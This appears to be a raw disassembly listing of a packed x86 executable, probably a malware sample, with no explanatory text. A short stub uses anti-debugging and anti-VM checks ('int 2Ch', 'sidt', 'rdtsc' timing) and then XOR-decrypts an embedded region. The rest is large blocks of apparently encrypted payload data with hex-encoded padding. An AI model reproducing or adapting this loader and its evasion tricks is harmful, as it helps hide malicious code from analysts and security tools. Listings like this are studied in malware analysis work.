		dd 0DC09CD3Ah, 0AF5CAC68h, 91A7FD5h, 0FD3625DCh, 0D5750E8h
		dd 17F38147h, 953424B0h, 7FAF6651h, 64918865h, 46A22D72h
		dd 89F23B25h, 81D5F588h, 0C5D3A57Dh, 336B612Fh,	2038FA4h
		dd 84AB1763h, 271A1781h, 96B165AFh, 0A5CBBF46h,	0F3E20BD0h
		dd 0E3D8E6DAh, 0A24BF563h, 8BC73FBh, 0B51115B5h, 37DAD765h
		dd 8815FEF8h, 0A36CDEDBh, 73605223h, 0AE02AD8Eh, 917509E6h
		dd 1D97C9Fh, 25FBC9A2h,	0BAA6379Bh, 0EDBCBEFBh,	0D5A0AA82h
		dd 44E16AF0h, 1DBD860Dh, 717F53C3h, 8DA38A27h, 16D86C75h
		dd 0E81471A6h, 8F4710C9h, 4DB6305h, 0F0A67838h,	0BE76F073h
		dd 0B0524AF1h, 0CDE16FDEh, 0E7F79F9Bh, 7652545Eh, 0E92353D3h
		dd 12EA6761h, 0E2E82DF9h, 40DBC0C7h, 0A1B85BE5h, 8E90CD2Eh
		dd 3801C5ADh, 0CB924598h, 634CF9BFh, 1DF097D4h,	948F5805h
		dd 586DEBD3h, 1E9F889Bh, 0A48C12F0h, 0CADF458Fh, 0F2E61EB6h
		dd 0FA4EC935h, 0D8912160h, 0F9475598h, 0F6B37BCCh, 64139F76h
		dd 95F565BAh, 9D18F84Dh, 157AA3F4h, 0E6D72D23h,	0CE99DC89h
		dd 90C876F6h, 67810C77h, 5330E6D4h, 9113BFB5h, 3EC4E29Ch
		dd 0D6851935h, 0FDB5F56h, 0F8550467h, 79EB390Dh, 8EAC0345h
		dd 0AE6354D6h, 80CC70ABh, 35C127F2h, 0EC263922h, 63E67ECAh
		dd 0A3A80B6Bh, 10311E5Bh, 88C3567Ah, 40E7E26Ah,	0ECB5DF9Dh
		dd 5819A153h, 0DF8990FBh, 565DB4A4h, 395933EBh,	387D66FFh
		dd 3BFF9D28h, 0F8EFAE10h, 7C9EB355h, 0A72A418Eh, 0F4848735h
		dd 6A583FADh, 0D5BFFC0Ch, 0B7C86AC5h, 0F3D65AB1h, 491561CFh
		dd 8502D7B9h, 0F4CB2C2h, 8B27C549h, 9632E37Dh, 0D72B6D83h
		dd 218E3190h, 23E7EFC8h, 8B325E14h, 84E3B2D0h, 1DB77614h
		dd 1BB9C257h, 0F3321D14h, 0F11EAD16h, 0F95A2FFh, 50E497C5h
		dd 76C14BC1h, 0E1A314C9h, 0BFDDA12Fh, 61EE9027h, 6E2BEE55h
		dd 934EA10Fh, 0A920467Dh, 28AB0501h, 0EB31AA83h, 8676AC54h
		dd 6FA9C7E1h, 8D0010DCh, 0B4F342A2h, 0AF09BC06h, 0DEA935FBh
		dd 44415034h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
		dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h
		dd 44415058h, 474E4944h, 44444150h, 58474E49h
		assume ds:CODE

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		cld
		call	sub_2242E
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_22406	proc near		; CODE XREF: sub_2242E+4Fp
		push	ebx
		mov	ecx, 0DA5h
		mov	ebx, edx


loc_2240E:				; CODE XREF: sub_22406+13j
		xor	[eax], dx
		lea	eax, [eax+2]
		xchg	dl, dh
		lea	edx, [ebx+edx]
		loop	loc_2240E
		pop	ebx
		retn
sub_22406	endp

; ---------------------------------------------------------------------------
		db 0A0h, 0A1h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_2242E


loc_2241F:				; CODE XREF: sub_2242E+3Aj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_2242E

; =============== S U B	R O U T	I N E =======================================



sub_22421	proc near		; CODE XREF: sub_2242E+8j
					; sub_2242E+19j
		push	ebp
		mov	eax, 8000h
		xor	ecx, ecx
		jmp	short loc_22455
sub_22421	endp


; =============== S U B	R O U T	I N E =======================================



sub_2242B	proc near		; CODE XREF: sub_2242E+1Cp
					; sub_2242E+22p
		rdtsc
		retn
sub_2242B	endp


; =============== S U B	R O U T	I N E =======================================



sub_2242E	proc near		; CODE XREF: start+1p

var_6		= byte ptr -6

; FUNCTION CHUNK AT 0002241F SIZE 00000002 BYTES

		test	eax, eax
		jnz	short loc_2243A
		int	2Ch		; Internal routine for MSDOS (IRET)
		test	eax, eax
		jns	short sub_22421
		jmp	short loc_22449
; ---------------------------------------------------------------------------


loc_2243A:				; CODE XREF: sub_2242E+2j
		push	eax
		sidt	fword ptr [esp+4+var_6]
		pop	eax
		mov	eax, [eax+6]
		shl	eax, 10h
		jns	short sub_22421


loc_22449:				; CODE XREF: sub_2242E+Aj
		push	ebp
		call	sub_2242B
		xchg	eax, ecx
		call	sub_2242B


loc_22455:				; CODE XREF: sub_22421+8j
		sub	eax, ecx
		mov	ebp, [esp+4]
		sub	dword ptr [esp+4], 0D2F2h
		sub	eax, 100h
		jnb	short loc_2241F
		sub	ebp, 301006h
		lea	eax, [ebp+301082h]
		mov	dx, [eax-65h]
		call	sub_22406
		dec	ebx
		mov	eax, ds:0EAC61ECAh
		add	esp, [edi+24h]
		aam	3Bh
		cmp	al, [ebx]
		out	3Dh, eax
		dec	edx
		std
		ror	dword ptr [edi-38h], cl
		add	ch, al
		cwde
		mov	ebp, [ebx]
		sar	dword ptr [ebx], 47h
		das
		push	eax
		xchg	ebx, [edx-4Ah]
		aad	0C0h
		inc	esp
		jmp	far ptr	0F042h:0B98AC465h
sub_2242E	endp

; ---------------------------------------------------------------------------
		db 82h,	70h, 81h
		dd 0B0C994BFh, 90B63455h, 0D431EDF0h, 24938325h, 9043E3E7h
		dd 88757A55h, 203A2BBEh, 7172E285h, 0BC8D27A9h,	8631EEA4h
		dd 4346AB49h, 0F1E2A0E3h, 0B2BA4869h, 67791923h, 0B94FACDAh
		dd 55B12B9h, 0FDE4FAA9h, 0F1C996Dh, 2311B2AFh, 0F6E79294h
		dd 0BAB04376h, 45173600h, 0DDD16E49h, 9AA9D229h, 0DBDB37D2h
		dd 72713E7Bh, 3E16DBCEh, 0C4F39B91h, 341E1241h,	0FEE060Bh
		dd 448CC4F4h, 22A60602h, 6C4787h, 7AD57576h, 47BE5E35h
		dd 6D280D3Ch, 0ED0FCA42h, 95B2918Eh, 7242C7A8h,	0CF119712h
		dd 0F4F66646h, 23B83D17h, 2F79D9E6h, 0ABC69EDEh, 73FC5D69h
		dd 0C14462Fh, 0CD356DDCh, 8CC2120Bh, 0E8B9E996h, 0F245958Ah
		dd 81800EC7h, 46972825h, 381F5BDBh, 503EAAA8h, 1973EC80h
		dd 0CDFE0231h, 1D50C762h, 44603C51h, 161BF2C1h,	0D4E42101h
		dd 0B395719Fh, 5867A284h, 0B70D07F8h, 1ADA0A16h, 99136393h
		dd 5F5DBD69h, 0CB8AB974h, 8A234301h, 2C229282h,	4D82464Dh
		dd 0F3CD0536h, 82E74727h, 5BBC7688h, 0E96AFAE6h, 0EA2803CCh
		dd 79EE4E4Eh, 20302503h, 9DFAD1E0h, 0B3BB06ABh,	0F418D453h
		dd 0BB37A784h, 48692543h, 461FE918h, 0DA10DFBBh, 34546211h
		dd 0F3261FEFh, 8FDB8E8Bh, 8AA8905Fh, 53132D5Dh,	0D299A21Dh
		dd 0C7C7244Dh, 0E99C9666h, 0C94A9A83h, 4C0ECB2Eh, 0CF35A923h
		dd 65986F6Dh, 3951DAAFh, 1391F5F1h, 0D5D3335Bh,	0F7808A74h
		dd 0DD56869Dh, 4113F838h, 0B1D93938h, 1D732B7Bh, 355CB8BDh
		dd 0AD753CFFh, 0B2DE5516h, 252180EAh, 87F73DC4h, 0CFA4342Dh
		dd 0E8E7464Dh, 1C91D77h, 6981C9FAh, 44AB0B0Ch, 0EEED4FE7h
		dd 0D3768FE4h, 8D7ABADAh, 839E7B87h, 3705BF53h,	1A332B17h
		dd 7777D7E6h, 0B9BB949Ch, 0FAFDB359h, 68739D9Ah, 7E329298h
		dd 93DDB5E1h, 0B48F626Fh, 4373B41Fh, 38092DD0h,	0C6F60A5Ch
		dd 0E09B65D7h, 4A49AB6Ch, 0A0235769h, 0C2CC2C1Ch, 0F0C37E9h
		dd 2CCA24AFh, 6C90C0DDh, 515D3343h, 16245F4Dh, 736C0837h
		dd 6569F6C8h, 5CD7383Ah, 1D1A7841h, 73CA3E36h, 0D163FCCFh
		dd 645BB140h, 0A520B0A9h, 564A4779h, 0A75CFC06h, 0F3624A47h
		dd 0A127878Ah, 5C44494Fh, 0ACDAF50Ch, 0C561C9C2h, 8DAF8EBEh
		dd 725FE45Dh, 0B3B1EEEDh, 0F50FD45Ch, 0BBBE9594h, 7846FA53h
		dd 0C84701FBh, 607FD558h, 0BD3CACB1h, 4E564761h, 0BF40E01Eh
		dd 0DA866E5Fh, 0AB42A2A0h, 8583E205h, 0EA3A98A8h, 0C78C6756h
		dd 93BEA8C2h, 0F8D9915h, 8DA128CDh, 655A946Eh, 0DC56C4AFh
		dd 0A39A7844h, 0D4CD8833h, 129E7374h, 0A7AB4AFBh, 173E9307h
		dd 0DBD77A3Eh, 0B67F797Bh, 0F45EFD30h, 0C7371FCDh, 6926DFEAh
		dd 4C1F1556h, 6660A090h, 0A7C8CE8Dh, 0E88E80CCh, 2A2686E0h
		dd 3D27ADC2h, 0FDA7635Eh, 0C262DEB2h, 0B3758DBEh, 26068E14h
		dd 38B01072h, 7FF23887h, 5C30FE58h, 2A77BFD6h, 0EDDF1772h
		dd 90F95939h, 0C351CA9Ah, 0F3E9238Ch, 0E0BE2E32h, 0EFFE506h
		dd 43409C25h, 85376FE3h, 7FC41435h, 8066E73h, 0EFB44823h
		dd 9C88056Bh, 48472A1Ch, 0F3C786Bh, 0C4C04D50h,	93BEF7A3h
		dd 9545CF61h, 0FE124258h, 5853B3A0h, 0F1FB9BB4h, 0A986464Fh
		dd 71710E12h, 93CDED8h,	0C4EF969Eh, 1D8C3C00h, 1435A717h
		dd 0BBDA36C4h, 0F7A1312Dh, 82C32913h, 0BFB07A77h, 0E966F6E6h
		dd 92DD57CCh, 0B8E820DBh, 5AF807D8h, 63859FD1h,	0E0AF0F12h
		dd 96941536h, 4463F4E1h, 141DA2BFh, 0B9D3717Dh,	276DA70Fh
		dd 0B73AAAB1h, 282D8D18h, 40EA4B4Eh, 30D326CAh,	528423A0h
		dd 49141EB5h, 0AFC3130Fh, 0F8070F65h, 796AA332h, 8AAF5EE9h
		dd 0E75E292Bh, 2A07E28Dh, 0C5B3FBFAh, 92BDC1A1h, 764CD901h
		dd 15215D9Eh, 0A805E6B5h, 0A9BFA662h, 0AE15B039h, 0E2943126h
		dd 0A1B6CAB8h, 0CA91DD8Ah, 1EF15140h, 13313014h, 119E3BC3h
		dd 534893D9h, 0D4E24242h, 19C7154Eh, 478840F0h,	84D2073Bh
		dd 0FD0988CDh, 7B7B8B8Dh, 213D9A9Fh, 27515D41h,	0F3C07BAFh
		dd 416B5216h, 53072CDAh, 55309A1Fh, 11F76774h, 0C4C664F5h
		dd 0B0EF2588h, 55BC2C36h, 0D73ADFC6h, 1640A09Eh, 0A84C741Eh
		dd 513C2313h, 6354EA9h,	0B7BC484Fh, 8A87E717h, 0F893292Ah
		dd 5C5A3AA2h, 4F4DC4FCh, 5506EDEBh, 0DEA57F60h,	0D743B5F9h
		dd 224D7E2h, 67731BF6h,	4C58CAC7h, 1B276235h, 0D09E9E9h
		dd 0B4486C02h, 24583B0Fh, 0DD96BEA0h, 6406E69Ah, 0A5A02050h
		dd 0E6E252E7h, 28248487h, 6A65C5C8h, 0ABA7070Ah, 13BA1F1Ah
		dd 1E005219h, 0DC3567CEh, 4ADBCE94h, 0AE33BEB3h, 5141F3D0h
		dd 131EB29Ah, 0DDD75A72h, 8B833432h, 595CCAC4h,	0E138CAEh
		dd 0D1BC6968h, 9D8C2A2Eh, 2C40D4FFh, 0EEF39593h, 80C34D47h
		dd 71640011h, 2B2FE0C0h, 0CA87A682h, 0BEA84C5Bh, 60622D0Fh
		dd 3E2DE1C9h, 0F7E3849Eh, 0A38C2F71h, 76651014h, 363DC0E3h
		dd 0D6E08090h, 0BDA77637h, 48720319h, 2837D5DFh, 0ECF1AD99h
		dd 0DFBF5A5Bh, 40780F3Ch, 0B0ADBB5h, 0C0C16571h, 80900144h
		dd 7341F0E4h, 109AAA8h,	99D76B6Ch, 8A871A78h, 4243F8FBh
		dd 1729CCB9h, 0D8FA7A66h, 95913522h, 4757D591h,	101FBA95h
		dd 0C4C16154h, 8382353Fh, 3978EAF2h, 3D0EBF9Eh,	0EFD97072h
		dd 0FD9B2435h, 7934C5DAh, 0D5E48DB6h, 0C2A64E48h, 49710025h
		dd 2A33C2CBh, 0E4EEA183h, 0A4A8674Dh, 4C0B2A0Ch, 2201D8CEh
		dd 0EAE19889h, 0B4A14E67h, 1250141Ch, 726D7F5h,	0F3E7808Dh
		dd 0A5BC715Bh, 76631412h, 5B19C1CBh, 0C9ED9CBCh, 98AB5658h
		dd 6E781117h, 233BD3A1h, 0D7C54702h, 948F2717h,	4E50E5D4h
		dd 0D22C587h, 0DBC2517Ch, 8486203Ah, 584ECC8Ah,	1D1EA99Ah
		dd 0EAC06167h, 0B7F01137h, 5D64E6F5h, 111EA6BEh, 0DAD37B5Dh
		dd 82963A27h, 7957F6FFh, 0E1F9DD8h, 0DFD2754Dh,	0B88D2934h
		dd 5D25D2F5h, 0F9F38EAAh, 0AEAF6420h, 42690403h, 2629CACFh
		dd 0E6E8ABE5h, 0AAA06543h, 73790A1Ah, 2D01ACEBh, 0EBE4BB9Ch
		dd 89A96059h, 11741D06h, 3D37C2FEh, 0F0FF9AB5h,	0A6A55478h
		dd 5970191Fh, 3F28F7B8h, 0F3EBA994h, 0AEA85E5Fh, 706F2D7Dh
		dd 122DDBDCh, 0CBE63232h, 0E3963130h, 464BF6D3h, 5416B6A0h
		dd 0D0C24935h, 8CBB493Ch, 426DEFE8h, 3E6CA9A7h,	0C7E87A68h
		dd 9BB13522h, 535BE0FBh, 16A7A4h, 0D1E61552h, 999E1120h
		dd 5E56C9F0h, 0B1FAEB9h, 0CED94F19h, 9E92371Ch,	582DC9CFh
		dd 1AEDB2DDh, 95C3537Ah, 7264080Eh, 3323CFF4h, 0EFC181ABh
		dd 91C94C4Ah, 7C7F190Eh, 270DC0C8h, 8DEE8287h, 0BAA65D7Ah
		dd 7C78370Bh, 261CB2D5h, 0E1F997B3h, 0A7854147h, 7B7E011Ch
		dd 2A3DDFD2h, 0FEF296ADh, 0A8953B55h, 7F780F3Fh, 918DBCAh
		dd 0EFA0656Ch, 87900135h, 7441F0E3h, 306AAB6h, 0E9A77475h
		dd 8D9B0A33h, 7A4EFFE9h, 90FA3B8h, 0D5EB7D7Fh, 0AD841E4Dh
		dd 4453F7FCh, 111680B5h, 0DDDA7C66h, 0B9831953h, 5F6FE9F5h
		dd 1E35ADB3h, 0CDDF794Bh, 0FA903130h, 4C0FD4D4h, 17C78FB9h
		dd 0F1C34672h, 64752A2Bh, 2C34F6CFh, 0F6F48280h, 0A3A24671h
		dd 7C456B08h, 2429DCE7h, 0F8EE88B9h, 0CDA14045h, 7D410523h
		dd 3237C6C0h, 0E1FAA585h, 0B8B44047h, 797A1239h, 1658C1C4h
		dd 0FFECA88Ch, 0A2884248h, 70780908h, 3038D0F4h, 0D5FE928Dh
		dd 0E28F2E28h, 5674F7CCh, 3001B0ADh, 0D2D2746Fh, 8DA52426h
		dd 5358E5E5h, 1F99CAh, 0CEC46359h, 0BD8A2B22h, 5E58E3FAh
		dd 331D86B7h, 0E0DD677Ch
		dd 9A9F2427h, 656F98F3h, 190D8A97h, 0C9CE6F6Ah,	95913E59h
		dd 534CFAE9h, 0AE58BBFh, 0D1AD411Eh, 75670131h,	3720C2A1h
		dd 0F1F5898Bh, 0A7A65147h, 7A0A0F0Bh, 4A3DC8CDh, 0E8E28999h
		dd 0AEA15D2Ch, 0F641506h, 3425DFE6h, 0E7F79C83h, 0A7BB5870h
		dd 78773E11h, 5832DBD2h, 0FFEC96B1h, 0AFBF5448h, 5E68193Ch
		dd 3A33D3D2h, 0C5FB8A9Ch, 96813412h, 4A6B82E7h,	811A6B0h
		dd 0D7EA7163h, 0E8A62922h, 4F5DE7C1h, 180FA4B8h, 0C3C97C43h
		dd 0AF823C18h, 445ED98Eh, 171FA3B5h, 0D2D64166h, 989C1337h
		dd 727697F1h, 31289980h, 0FD94282Bh, 0A8FC1015h, 507DF9FFh
		dd 351AACB3h, 0EDC1587Bh, 714C043Ah, 260FCAC4h,	0C4FDA09Ah
		dd 0A1A27525h, 7A6C1C37h, 262BFCD1h, 0F4CE8E9Fh, 0A89F2D6Dh
		dd 7B6A3C0Ah, 243CD1F9h, 0D2E9B494h, 0D13AB033h, 7E44BD5Fh
		dd 0B056B6B6h, 99B3BB75h, 0DEB33950h, 77482B2Ah, 0F9037B8h
		dd 0F5CD2974h, 0B08E7F2Bh, 0B9B47ED1h, 0E562F2E8h, 325B08C2h
		dd 0E8D66AE2h, 0E9204C0Bh, 0C5EC449Dh, 9EAB3B19h, 0EE871DB2h
		dd 0A5D081E4h, 7240FC99h, 37BDD297h, 0F4F454C3h, 5662FEC4h
		dd 0ACFCD7D6h, 75321972h, 0FA931B33h, 563D8D9Ah, 7E148CDEh
		dd 0BFA07476h, 5002085Fh, 0D6BCF3F2h, 85B4C86Eh, 53397F7Ah
		dd 83843ABh, 163D562Dh,	990A6761h, 0C12F2C1Ch, 1F0EFBE0h
		dd 804CAF9Fh, 416FA3A6h, 0F8AFB7B8h, 99997444h,	5855AE8Eh
		dd 6569A210h, 4A5DB3C5h, 901A4A57h, 5F403E32h, 5EDF14FFh
		dd 6755C1BEh, 2410AC03h, 7DED4E49h, 954B0306h, 631ABAB8h
		dd 1A0B020Dh, 18A84DCAh, 34258707h, 6EC4C56h, 0CFD17193h
		dd 0B130085Bh, 0B3B1F947h, 75AE5353h, 62F1379h,	0F5BFE5D6h
		dd 8998F89Dh, 0ABAE0B59h, 6D6DCCCBh, 527C4823h,	0BB381F2Eh
		dd 0CC949E7Bh, 1E42928Ah, 0D083E721h, 0C6C525CDh, 0E5863A66h
		dd 4A78B21Dh, 19041680h, 0CDFB31ACh, 2FC03F3Dh,	5164AE8Bh
		dd 0F5832B72h, 0CE17B4F4h, 36DE7344h, 429C3171h, 9AB1F5C8h
		dd 188A3710h, 1C737811h, 2CA58942h, 248E04FBh, 8A2D4981h
		dd 241F7F89h, 653B104Fh, 122F3E56h, 0E8D45EA3h,	2B2A3C03h
		dd 0E6ECC7CAh, 0ADA90804h, 25C0B34Eh, 0C3E606EEh, 771AAF76h
		dd 5845F255h, 0FB35D191h, 65E01FC3h, 2C25195Dh,	0EBE65772h
		dd 6F06A633h, 3C0BB707h, 0F570185Fh, 8F92178Bh,	82D74B5Fh
		dd 4486A64Bh, 856AE289h, 5C773ACh, 24F1F30Fh, 0CE42A798h
		dd 4CBBE0E2h, 44D09A6Eh, 3F209BF8h, 0DCAF5AAFh,	6D248FB3h
		dd 173145FAh, 16129A21h, 0D90EB3B6h, 0AA8F8215h, 204BBD3Ah
		dd 9E184857h, 5F519DC1h, 0A1237EF0h, 0E5D3C41h,	241E7C8Ah
		dd 675BD790h, 325E0106h, 0E8D36F6Eh, 0AEA87903h, 6C67C2EEh
		dd 0ADC2580Ch, 0EEEA4EA5h, 647EDA8Eh, 0E7929AD0h, 0B39F2337h
		dd 637C9860h, 36339290h, 7A1E8587h, 0D1B77C49h,	0BAF85859h
		dd 0CDAF65C8h, 0E87BEBF7h, 0E4C9EB9Bh, 4970B0Fh, 1540A0A1h
		dd 0A4A5551Dh, 3AC32326h, 3729BCF0h, 89C3FFA7h,	9F64F19Dh
		dd 0A61DA27Bh, 595A396Ch, 25D953F8h, 0CB8DDDDCh, 3BAEFB7h
		dd 0D8848E25h, 0DA52829Eh, 0CEC1B7A0h, 578D7153h, 1C1673EDh
		dd 9E6B13BCh, 53C0E994h, 0B18B6BEBh, 734D2DD1h,	9CCB4191h
		dd 27A0302Eh, 0E7E04A82h, 0D507B87h, 0A2F03AC1h, 0FFA73727h
		dd 0C120DCB3h, 0ED768BBDh, 4FECCCCBh, 0F4AF7B1Bh, 0E68CDDD9h
		dd 2CD192A3h, 67734658h, 69B61527h, 7D25A80Eh, 0C4B19659h
		dd 727ADADBh, 0BEBCEC99h, 0C5C0DE5Eh, 0C106B0EAh, 78EE1DFh
		dd 0C4C323C2h, 73255BE4h, 76C7E057h, 0CDC9AEB8h, 4420B5Fh
		dd 420A2DADh, 251D6286h, 0C2DBBCEFh, 0FE0EBACEh, 2F487142h
		dd 0E9D7BD75h, 7193F3F6h, 0D9D53589h, 494749F8h, 0D857EEF2h
		dd 9F99F958h, 4CD3FDBCh, 0A61270BCh, 645EBE5Bh,	56D52038h
		dd 0E9D87EE9h, 28240803h, 4A6868C8h, 9687272Ah,	988C2E6Ah
		dd 1287F4F9h, 0F110B9EEh, 0D98EF16Eh, 83852425h, 4431EC13h
		dd 35CFCEEh, 48F2D37Eh,	42C65857h, 3A39BE88h, 8328382Dh
		dd 8D907589h, 0AE3E6D5Dh, 0A810F0CEh, 8281E1E9h, 0ADB44C66h
		dd 61640A0Fh, 96D359A5h, 0C87D7CBh, 0F9FF5DE9h,	0F78EE2A3h
		dd 1F4C9C80h, 908EED86h, 879E7EB4h, 0C6848E21h,	0D852829Fh
		dd 0A7888360h, 11E66537h, 4847262Ch, 0C9A7E9EBh, 9EA9D5FDh
		dd 20FF3FB9h, 1136B0EAh, 0E39D46C1h, 94B56F8Eh,	261B4344h
		dd 2300D80Eh, 6965C52Fh, 47265A09h, 0EBD95437h,	1D683600h
		dd 0DAE7CCFDh, 0B09E3E44h, 7C7BAB53h, 3302A2D6h, 0F0F87620h
		dd 0B6852556h, 0C7C8C2DDh, 0BC3A99A7h, 7B4AEAEEh, 34D41E92h
		dd 2FE5E4Fh, 0F6CC908h,	0DD480ADFh, 0ABB54665h,	54590001h
		dd 2F35DFCCh, 0C5EB8685h, 0BBA6444Dh, 0D9386B10h, 0BB1E6320h
		dd 6E0EBF34h, 0D38F452Ch, 78432689h, 0EFE73FAAh, 2F93C3E9h
		dd 0D7D53521h, 0E75A73FAh, 3DA74746h, 0D09D7450h, 0DEDB3B3Dh
		dd 6790D618h, 866C15C4h, 410B66AEh, 0D777CFB8h,	7224B4B4h
		dd 9737C3ACh, 998B9E9Dh, 0CE9DC249h, 34EF0882h,	0EB630C49h
		dd 0AFAE0FABh, 0D0985025h, 64329291h, 0E18CD8B8h, 0B58539B5h
		dd 7DFB09DEh, 0A5B089D8h, 7A4AEAEFh, 8B879193h,	1F7F5E6Bh
		dd 31BF509Ch, 80EBB28Fh, 743C254Ah, 3355552h, 6903335Ch
		dd 78D7E7D5h, 0F8F91A92h, 0C79E9468h, 144C9C81h, 811E2D69h
		dd 0CFCE7BAAh, 2A90176Fh, 5F26E8FCh, 0F8060CA0h, 3FD50519h
		dd 18177637h, 5A900635h, 2B96F9FAh, 0A9562572h,	1B75624Ch
		dd 365EBEBEh, 8E8195FEh, 0B4B44272h, 0ECD117Ch,	24EEC5F5h
		dd 2364043Bh, 3AEA3118h, 0A00BF902h, 59E1D481h,	0AD035F3Eh
		dd 0EE88D18Dh, 4357C1EAh, 8191D6A5h, 9D18FE4Ah,	877C7358h
		dd 0C43AC0B1h, 7666885Ch, 0B9F218AEh, 79CAD589h, 73CB5398h
		dd 403468D5h, 4BC3132Fh, 35B05E56h, 36469692h, 0B132CC67h
		dd 0FCC91916h, 393B50D2h, 3ACFA3A9h, 0BE721214h, 8D7AA6EDh
		dd 9911415Eh, 6262F53Dh, 0FEC3A3F2h, 0D4BF6537h, 1717771Dh
		dd 0DCA7EF37h, 9BA9EC81h, 0F72AAEC4h, 93E27D4Ch, 606EABC6h
		dd 0AE5FF883h, 1D1D79C5h, 17A10D7Dh, 0C65F5F4h,	0F1A76D06h
		dd 897CB617h, 0A12BBBA4h, 5C5C8B4Fh, 0AF4ECF0Ch, 0EE9A001Dh
		dd 1C0F0771h, 0F7FAD3E0h, 0B3852559h, 0F49D83D8h, 660B66C6h
		dd 48496F29h, 2C431C28h, 0FACE7200h, 0C732511h,	7A08E1ECh
		dd 7256DC3Ah, 8A055574h, 0F6CD9AF2h, 85B7D7A8h,	0F2D37DAEh
		dd 9D2095EDh, 4A7C9C9Fh, 0BCCA6061h, 0E6622F1Ch, 0F5F3DAAFh
		dd 4C263722h, 0C2C2F3C1h, 85846560h, 3A16E28Bh,	0A708B886h
		dd 0AAB2346Dh, 0A8FEF83Ah, 78275741h, 333CDFD3h, 0E1A59B9Ah
		dd 8E842932h, 0A11B0EEh, 4A08A8A0h, 0F4A6372Bh,	0ADBC1B1Eh
		dd 5F69D6C5h, 20EB9B8h,	0C3C24E78h, 82803D39h, 6C45F4DDh
		dd 400B783h, 0C0D1777Bh, 959E050Fh, 775CFDE6h, 0B1CBAB5h
		dd 0D8EB476Bh, 9F903C2Bh, 4F4DFAEEh, 0CE9A680h,	0D3A3557Bh
		dd 6D6B3433h, 1F3CC6C8h, 0EBE792B0h, 0A2BA4941h, 6E651836h
		dd 162EC7C1h, 0E4F899ABh, 0B7A75C43h, 7F511408h, 3238DDDFh
		dd 0FCFB8690h, 9888475Dh, 1662051Dh, 0C11F8E5h,	0DFCAB9AFh
		dd 0B8B37766h, 726F1309h, 801C9DBh, 0CEFA9096h,	0A1BC3336h
		dd 4150F0F7h, 335B7AAh,	0C8CC7674h, 90A21B29h, 5846E5F8h
		dd 386AB8AFh, 0C8CB7E6Dh, 9D810639h, 303290FAh,	727181D0h
		dd 0C1C31312h, 999C2D3Ch
		dd 5D43F9BAh, 814B6A4h,	0D7D33479h, 0B4FC333Fh,	1C75DDD3h
		dd 1111B0B5h, 0C8BB436Fh, 44503655h, 92784F3h, 0A5CBACACh
		dd 0B4AE5103h, 23A1C12h, 4A4A42FDh, 0DD6EBEAh, 0FDEDCBC1h
		dd 608AA96Dh, 515080BAh, 0BFBC640Eh, 3C123303h,	7C44016Bh
		dd 0B9E33DA8h, 0C397C7D3h, 0AEF70596h, 239A1D51h, 7C29A142h
		dd 8D6C4072h, 94543F71h, 4284D680h, 68E74F61h, 28A4342Dh
		dd 0D8CD72C2h, 6CA17288h, 92274530h, 4FAABAF7h,	1158C082h
		dd 582FBFA2h, 7270D1D4h, 8A27ED44h, 1DF4647Fh, 3636961Dh
		dd 6DDE525Bh, 0D3E91928h, 5F53159h, 0C11D40Fh, 5A025DDCh
		dd 0CEB52416h, 1026AB7h, 5F0A1h, 0C9C8A0CDh, 0DB53D925h
		dd 308584Ah, 205DDD68h,	0E462BAE8h, 3233D3D5h, 3F25B7F8h
		dd 258F2AAFh, 7B400FF3h, 0D4D23238h, 49573227h,	1C7BE6F9h
		dd 6596BAB4h, 0EBF425AFh, 0E45B927Bh, 0EAD64442h, 0A1ACD000h
		dd 0E2DF3A29h, 0B1DFD682h, 6651EDE5h, 0A7A30EEEh, 0BAA11947h
		dd 7862D1C1h, 382D9499h, 52FC0A4Fh, 0DEC7A5D8h,	3029668Eh
		dd 3A33CFD0h, 0E0E5425Dh, 610C0553h, 3605BE7Dh,	29271FE5h
		dd 0D3E91B72h, 0FAFA3258h, 0C36ADC9Ah, 4E562C49h, 40479C1Eh
		dd 8C51422Bh, 736E5D34h, 1E0E6EE3h, 0ACC51502h,	126F3566h
		dd 1B48A8A8h, 0F91C16BAh, 32CB1B00h, 3F26A0F8h,	514546AFh
		dd 0C0DAEFF1h, 0E6E26376h, 5A5F375Ah, 19C14BB6h, 7295C5D4h
		dd 0DBD73730h, 6F690A0Ch, 392ED4D4h, 5ECBFBBEh,	0D2F6E4D4h
		dd 0C19AF682h, 6960F0EFh, 0F52F8F37h, 61E4745Eh, 1A0A710Dh
		dd 0F99896CAh, 0AD99254Dh, 0EEEF23DEh, 85A08D8Eh, 725ED78Fh
		dd 6E0D9D4Bh, 1CF2627Fh, 0C9CB6668h, 0DCF012B0h, 0B9B72738h
		dd 5C5CDA09h, 3C3BABBAh, 5E184951h, 0EBEE1E2Eh,	16A6135h
		dd 4343C9F3h, 107D62E3h, 0C6F408C4h, 7D5CA6E3h,	0DDCA2A8Ah
		dd 0DE88D8CAh, 78472C46h, 0F3C4CC9h, 11DFBFBh, 671BCA0h
		dd 0D4E01CD6h, 0CB878D2Ch, 9E53839Ah, 0AABA0A7Dh, 0B53E363Ah
		dd 0E2E78789h, 6F4BC430h, 0ED1F3DFFh, 0B4DC0C54h, 0CC2D21D6h
		dd 99A04D9Dh, 0B2ED84C1h, 0BCB54377h, 60CDB1D7h, 0AB993938h
		dd 9DBD4489h, 0B1921C4Dh, 0C21764BAh, 0F7AA322Fh, 0B39F1A5Eh
		dd 0A0873405h, 0B3BE5AA7h, 7844E499h, 0E8E74749h, 0ABA90909h
		dd 100F0F65h, 0EB84DBECh, 0BF8D3133h, 75E0B79Eh, 424C48D4h
		dd 0CCD2E1E2h, 95827468h, 4B414B2Ch, 0DCB9A6EBh, 8BB7CBA8h
		dd 0CCC925C3h, 5D43386Ch, 311AD8CBh, 0D3E8989Ch, 46307F32h
		dd 15215AAAh, 0A8E73F26h, 0F193C3DBh, 0DAD535F1h, 0E3171D2Ch
		dd 6E74A129h, 720C74FEh, 6CDB0B5Fh, 1330BA3Ch, 320CE8C3h
		dd 8D4595FAh, 23614276h, 0C6B1098Bh, 3B65F5D6h,	0FAA66D5Ch
		dd 0EDEB211Eh, 0FCD40B8Dh, 8E96D127h, 80138DEEh, 0F3F06047h
